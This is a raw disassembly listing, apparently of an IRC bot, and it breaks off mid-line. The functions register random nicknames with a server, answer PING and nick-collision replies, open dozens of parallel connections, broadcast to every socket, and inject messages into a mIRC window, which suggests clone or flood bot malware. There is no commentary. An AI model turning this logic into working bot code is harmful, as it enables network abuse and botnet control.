Attributes: bp-based frame sub_4175E9 proc near ; CODE XREF: sub_416F1A:loc_417056p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D3FF8 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 call near ptr 2780BDDh nop push eax nop call near ptr 2780000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D35E0 mov edi, 200h mov esi, offset dword_4D2BE0 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D3FF8 add eax, eax push eax push dword_4D4000 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D3DE4 mov eax, dword_4D3FF8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437B54 push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D2DE0 push ebx push [ebp+arg_0] push offset dword_437BA4 push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 2780BDDh push eax nop call near ptr 2770000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CAFF4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CAF74 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CAFB4 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CAFF8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CAF1C cmp eax, esi jnz short loc_417782 push edi call dword_4CB00C loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_429998 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D400C pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CAFC4 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DA72C jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CA34 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_4387BC jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_4387B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_4387AC loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CAFC4 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D4014[esi] mov dword_4D4008[esi], edi push dword_4D4214[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D400C[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D400C[esi] call dword_4CAFC4 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D400C[esi] call dword_4CAF8C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D400C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D4008[esi], ebx mov esi, dword_4D400C[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB00C loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D4008 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DA728 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D4014[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D4214[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D4008[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx nop call near ptr 266006Bh inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_437EF8[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_437BF8[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_437EF8[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 2660882h mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27A0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DA72C push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CAF44 test eax, eax jz short loc_41820D push 1 call dword_4CAF64 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27B0650h push esi mov edi, eax call near ptr 27B0000h nop call dword_4CAFC8 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CAF80 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 27C0180h push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 27C0000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CAFD0 push esi push 1 push 4C9h push ebp call dword_4CAFD0 push ebx nop call near ptr 27B0B91h push edi nop call near ptr 26408DCh push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = 